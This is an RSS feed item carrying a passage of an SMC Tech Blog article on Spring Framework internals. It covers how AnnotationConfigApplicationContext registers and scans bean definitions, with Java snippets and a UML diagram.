<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[SMC Tech Blog]]></title><description><![CDATA[Partner per competere]]></description><link>https://techblog.smc.it</link><generator>GatsbyJS</generator><lastBuildDate>Thu, 30 May 2024 07:52:47 GMT</lastBuildDate><item><title><![CDATA[A detailed analysis of the Spring Core module]]></title><link>https://techblog.smc.itspring-context-internals</link><guid isPermaLink="false">https://techblog.smc.itspring-context-internals</guid><pubDate>Wed, 10 Apr 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h2 id=&quot;introduction&quot;&gt;Introduction&lt;/h2&gt;&lt;p&gt;In this article, we will provide a high-level overview of the Spring Framework, explaining its historical motivations and
architectures. We will then proceed to analyze in detail the functioning of its core module known as the Spring Context,
we will conclude by indicating some techniques for interacting with it, modifying its behavior at runtime.&lt;/p&gt;&lt;h2 id=&quot;contents&quot;&gt;Contents&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;#spring-framework&quot;&gt;Spring Framework&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;#spring-context&quot;&gt;Spring Context&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;#beandefinitionregistry&quot;&gt;BeanDefinitionRegistry&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;#annotatedbeandefinitionreader-e-classpathbeandefinitionscanner&quot;&gt;AnnotatedBeanDefinitionReader e ClassPathBeanDefinitionScanner&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;#register&quot;&gt;Register&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;#scan&quot;&gt;Scan&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;#refresh&quot;&gt;Refresh&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;#beanfactorypostprocessor&quot;&gt;BeanFactoryPostProcessor&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;#beanpostprocessor&quot;&gt;BeanPostProcessor&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;#applicationlistener&quot;&gt;ApplicationListener&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h2 id=&quot;spring-framework&quot;&gt;Spring Framework&lt;/h2&gt;&lt;p&gt;Spring represents a family of projects useful for creating Java Enterprise applications, hence it is said to be a modular
framework, where each module can be used to address specific needs, allowing developers to focus mainly on business logic
by delegating architectural aspects to the framework. Today, it is an essential tool for Java application development, especially
in the web domain, and it stands out for its powerful dependency management mechanism. The framework originated in 2003, under
the guidance of Rod Johnson, as a response to the complexity of Java Enterprise specifications. Although this might suggest that
they are direct competitors, the reality is that these two worlds are complementary. Spring&amp;#x27;s goal is not to be compliant with
Java Enterprise specifications but to integrate with some of them and use them as support for the framework itself.
The foundational principles of Spring include allowing developers choice at every level, paying particular attention to backward
compatibility, as well as API design to make them as intuitive as possible, and maintaining a high standard of code quality.
It&amp;#x27;s worth noting that the framework has always focused on this aspect, making it one of the most well-documented and self-descriptive software.&lt;/p&gt;&lt;h2 id=&quot;spring-context&quot;&gt;Spring Context&lt;/h2&gt;&lt;p&gt;The core module of Spring is represented by Spring Context, and its main function is to create applications based on the IoC
(Inversion of Control) pattern implemented through DI (Dependency Injection). With this pattern, the control of dependencies
and their implementations is no longer the responsibility of the object instances that use them but is delegated to a third-party
component provided by the framework, known as a container. This transfer of responsibility allows business objects to not depend
on a specific implementation or choose one at runtime, effectively promoting the development of applications in total accordance
with SOLID principles. At the heart of this mechanism, as mentioned earlier, is a component known as a container, inside which
the so-called &amp;quot;beans&amp;quot; are instantiated and managed for their entire lifecycle. But what are beans really, and how is their creation
achieved?&lt;/p&gt;&lt;p&gt;While it is sufficient to say that beans can be either regular POJOs or classes with specific annotations to answer the first question,
to provide a detailed answer to the second question, we will delve into the core of the Spring Framework to discover the process through
which beans are instantiated and managed. We will focus on the details of the &lt;strong&gt;AnnotationConfigApplicationContext&lt;/strong&gt; class, which represents
the cornerstone through which a Spring application can be configured using annotations. Among the main interfaces orchestrating the flow
are undoubtedly the &lt;strong&gt;BeanDefinitionRegistry&lt;/strong&gt;, responsible for creating and managing bean definitions, the BeanFactory, responsible for creating
and managing beans, and the ApplicationContext, which precisely coordinates the APIs provided by the previous interfaces as well as their
implementations.&lt;/p&gt;&lt;p&gt;By extending the &lt;strong&gt;GenericApplicationContext&lt;/strong&gt; class, AnnotationConfigApplicationContext not only implements BeanDefinitionRegistry
with the fundamental method &lt;strong&gt;&lt;em&gt;registerBeanDefinition(String beanName, BeanDefinition beanDefinition)&lt;/em&gt;&lt;/strong&gt; but also possesses an instance variable of type
DefaultListableBeanFactory. It should be noted that GenericApplicationContext, in turn, extends &lt;strong&gt;AbstractApplicationContext&lt;/strong&gt;, which declares the method
&lt;em&gt;createEnvironment()&lt;/em&gt; that returns an instance of &lt;strong&gt;StandardEnvironment&lt;/strong&gt; based on system properties &lt;em&gt;System.getProperties()&lt;/em&gt; and environment &lt;em&gt;System.getEnv()&lt;/em&gt;,
where the former takes precedence over the latter. Finally, StandardEnvironment extends &lt;strong&gt;ApplicationContext&lt;/strong&gt;, which implements &lt;strong&gt;ApplicationEventPublisher&lt;/strong&gt;
and is therefore capable of generating events through the &lt;em&gt;publishEvent(Object event)&lt;/em&gt; method.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/4d17851e4fa50c969cb88bdfbd350133/4b7ff/AnnotationConfigApplicationContext.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:46%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;184\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20184\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%2092v92h401V0H0v92M56%206l-1%205v5h7l6%201v1l1-1%2014-1h14V5H77L56%206m222%2010l1%206%201-1%2021-1%2020-1%201-2v-2l-1-3V9h-43v7M3%2014c0%202%200%202%207%202l7%201h2l7-1c7%200%207%200%207-2v-3H3v3m178%201v2h34v-5h-34v3m149%2010v9h17l16%201h2l16-1h16V15h-66l-1%2010m-154%202c-2%202%201%203%2023%203h21v-5h-21c-18%200-22%200-23%202m-97%200c-1%204%200%204%2016%204l15%201h2l4-1c4%200%204%200%204-2v-3h-20l-21%201m211%204c0%202%200%202%206%202l7%201h2l7-1c6%200%206%200%206-2v-3h-28v3m-35%201l-11%201h-12v11h48V33h-11l-12-1-1-1-1%201M34%2035a615%20615%200%200037%200c-3-3-36-3-37%200m95%203c0%203%200%203%209%202%206%200%208%201%208%202l1%201%201-1c0-2%202-2%209-2%208%200%208%200%208-2s0-2-18-2h-18v2m56%204c0%202%200%202%204%202l5%201h2l5-1c4%200%205-1%205-3s0-2-10-2h-11v3m114%202l-1%201-1%201%2012%201h12v-5h-11c-9%200-11%200-11%202M92%2052c0%202%200%202%208%202l8%201h2l8-1c8%200%208%200%208-2v-3H92v3m77%2022v22h57V86l1-11v-2l-1-11V52h-57v22m66-16a3986%203986%200%2000-2%2060v1c2%200%202%202%202%2020v20h75V56h-75v2m-100%205c0%203%200%203%206%203l6%201h1l7-1c6%200%206%200%206-2s-1-3-13-3h-13v2m-15%2016c0%202%200%202%2010%202l9%201h1l10-1c9%200%209%200%209-2v-3h-39v3m199%2020c-2%202%200%203%206%203l5%201v1h1c0-2%202-2%2015-2%2014%200%2015%200%2015-2s-1-2-21-2l-21%201m-149%2014v17h12l13%201h2l13-1h12v-23h-52v6m103%2061l1%208h57v-15h-58v7\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/4d17851e4fa50c969cb88bdfbd350133/c85cb/AnnotationConfigApplicationContext.webp 300w,/static/4d17851e4fa50c969cb88bdfbd350133/e88ff/AnnotationConfigApplicationContext.webp 600w,/static/4d17851e4fa50c969cb88bdfbd350133/92f8c/AnnotationConfigApplicationContext.webp 1200w,/static/4d17851e4fa50c969cb88bdfbd350133/62ed8/AnnotationConfigApplicationContext.webp 1800w,/static/4d17851e4fa50c969cb88bdfbd350133/46261/AnnotationConfigApplicationContext.webp 2400w,/static/4d17851e4fa50c969cb88bdfbd350133/9e5e5/AnnotationConfigApplicationContext.webp 5724w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/4d17851e4fa50c969cb88bdfbd350133/5a46d/AnnotationConfigApplicationContext.png 300w,/static/4d17851e4fa50c969cb88bdfbd350133/0a47e/AnnotationConfigApplicationContext.png 600w,/static/4d17851e4fa50c969cb88bdfbd350133/c1b63/AnnotationConfigApplicationContext.png 1200w,/static/4d17851e4fa50c969cb88bdfbd350133/d61c2/AnnotationConfigApplicationContext.png 1800w,/static/4d17851e4fa50c969cb88bdfbd350133/97a96/AnnotationConfigApplicationContext.png 2400w,/static/4d17851e4fa50c969cb88bdfbd350133/4b7ff/AnnotationConfigApplicationContext.png 5724w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;UML class diagram&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/4d17851e4fa50c969cb88bdfbd350133/c1b63/AnnotationConfigApplicationContext.png&quot; title=&quot;UML class diagram&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;UML class diagram&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;h3 id=&quot;beandefinitionregistry&quot;&gt;BeanDefinitionRegistry&lt;/h3&gt;&lt;p&gt;The &lt;strong&gt;BeanDefinitionRegistry&lt;/strong&gt; is an interface that declares several methods for working with &lt;strong&gt;BeanDefinitions&lt;/strong&gt;, including those for registering new ones,
retrieving them, and removing them. As mentioned, these methods are implemented within &lt;strong&gt;GenericApplicationContext&lt;/strong&gt; through the methods provided by
&lt;strong&gt;DefaultListableBeanFactory&lt;/strong&gt;, which in turn implements this interface.&lt;/p&gt;&lt;p&gt;A &lt;strong&gt;BeanDefinition&lt;/strong&gt; describes a class declared as a bean, including some information such as:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;beanClass&lt;/strong&gt;, representing the fully qualified class name&lt;/li&gt;&lt;li&gt;&lt;strong&gt;scope&lt;/strong&gt; defaulting to singleton&lt;/li&gt;&lt;li&gt;&lt;strong&gt;initMethodName&lt;/strong&gt;&lt;/li&gt;&lt;li&gt;&lt;strong&gt;destroyMethodName&lt;/strong&gt;&lt;/li&gt;&lt;li&gt;&lt;strong&gt;qualifiers&lt;/strong&gt; if specified through annotations&lt;/li&gt;&lt;li&gt;&lt;strong&gt;source&lt;/strong&gt; representing the path to the .class file&lt;/li&gt;&lt;li&gt;&lt;strong&gt;metadata&lt;/strong&gt; representing an object of type &lt;strong&gt;SimpleAnnotationMetadata&lt;/strong&gt; containing metadata of declared methods, and possibly superclass&lt;/li&gt;&lt;/ul&gt;&lt;h3 id=&quot;annotatedbeandefinitionreader-e-classpathbeandefinitionscanner&quot;&gt;AnnotatedBeanDefinitionReader e ClassPathBeanDefinitionScanner&lt;/h3&gt;&lt;p&gt;We can instantiate an &lt;strong&gt;AnnotationConfigApplicationContext&lt;/strong&gt; in two different ways. The first approach involves passing a list of component classes directly to the
constructor. By component, we mean any specialization of the @Component annotation (@Service, @Configuration, @Controller, etc.).&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--sideLeft--1t1xc CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;java&quot; data-index=&quot;0&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;public&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;AnnotationConfigApplicationContext&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Class&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;&amp;gt;... &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;componentClasses&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;register&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(componentClasses);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;refresh&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;The second approach involves passing a list of basePackages to the constructor.
In this way, all classes in the specified packages and their sub-packages will be scanned.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--sideRight--nfzNR CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;java&quot; data-index=&quot;1&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;public&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;AnnotationConfigApplicationContext&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;... &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;basePackages&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;scan&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(basePackages);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;refresh&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;In both cases, the first instruction is to invoke the parameterless constructor, where instances of AnnotatedBeanDefinitionReader and ClassPathBeanDefinitionScanner are instantiated.
These two objects require a BeanDefinitionRegistry to be instantiated, which in this case will be the instance of AnnotationConfigApplicationContext itself.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;java&quot; data-index=&quot;2&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;public&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;AnnotationConfigApplicationContext&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;() {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  ...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;reader&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;AnnotatedBeanDefinitionReader&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  ...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;scanner&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;ClassPathBeanDefinitionScanner&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;In a simple Spring application with only the spring-context dependency, when the reader is instantiated, default BeanDefinitions are added to the BeanDefinitionRegistry
through the &lt;em&gt;registerAnnotationConfigProcessors()&lt;/em&gt; method of the AnnotationConfigUtils class, called in the constructor of the reader itself.
These definitions represent the following classes:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;ConfigurationClassPostProcessor&lt;/strong&gt; used to process classes annotated with @Configuration. Registered by default when annotation-based configuration is enabled.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;DefaultEventListenerFactory&lt;/strong&gt; used to support the @EventListener annotation&lt;/li&gt;&lt;li&gt;&lt;strong&gt;EventListenerMethodProcessor&lt;/strong&gt; used to register methods annotated with @EventListener as instances of ApplicationListener&lt;/li&gt;&lt;li&gt;&lt;strong&gt;AutowiredAnnotationBeanPostProcessor&lt;/strong&gt; used to support autowiring via constructor, methods, and fields.&lt;/li&gt;&lt;/ul&gt;&lt;h3 id=&quot;register&quot;&gt;Register&lt;/h3&gt;&lt;p&gt;As seen earlier in the first approach, when we pass a list of componentClasses, the &lt;em&gt;register(componentClasses)&lt;/em&gt; method of the AnnotatedBeanDefinitionReader class will be invoked.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--sideLeft--1t1xc CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;java&quot; data-index=&quot;3&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Override&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;public&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;void&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;register&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Class&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;&amp;gt;... &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;componentClasses&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;	...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;reader&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;register&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(componentClasses);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;	...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Within this flow, the BeanDefinitions will be registered. The process begins with iterating through the list of classes provided as input, each of which
is a potential candidate to become a bean.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--sideLeft--1t1xc CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;java&quot; data-index=&quot;4&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;public&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;void&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;register&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Class&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;&amp;gt;... &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;componentClasses&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;		&lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; (&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Class&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;&amp;gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;componentClass&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; componentClasses) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;         &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;registerBean&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(componentClass);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;To start the transformation process, inside the &lt;em&gt;doRegisterBean()&lt;/em&gt; method, an AnnotatedGenericBeanDefinition is instantiated. Key parameters for the
AnnotatedGenericBeanDefinition are configured, such as its scope and name, if not explicitly provided. The scope defines the lifecycle and visibility
of a bean managed by the Spring container. There are different types of scopes, each determining how the bean is instantiated and maintained
within the application. Here are some of the most common scopes:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;Singleton&lt;/strong&gt;: This is the default scope. Spring creates a single instance of the bean for the application and keeps it in memory. All requests for that bean will always return the same instance.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Prototype&lt;/strong&gt;: Spring creates a new instance of the bean each time it is requested, so each request will return a separate instance of the bean.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Request&lt;/strong&gt;: The bean exists only within the lifecycle of a single HTTP request. A new bean is created for each HTTP request and destroyed at the end of the request.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Session&lt;/strong&gt;: The bean exists within the lifecycle of a single user session. A new bean is created for each user session and destroyed at the end of the session.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;After setting the scope, common annotations like Primary, Fallback, Role, Lazy, Description, and DependsOn are interpreted and applied through the &lt;em&gt;processCommonDefinitionAnnotations()&lt;/em&gt; method.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--sideLeft--1t1xc CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;java&quot; data-index=&quot;5&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;private&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &amp;lt;T&amp;gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;void&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;doRegisterBean&lt;/span&gt;&lt;span 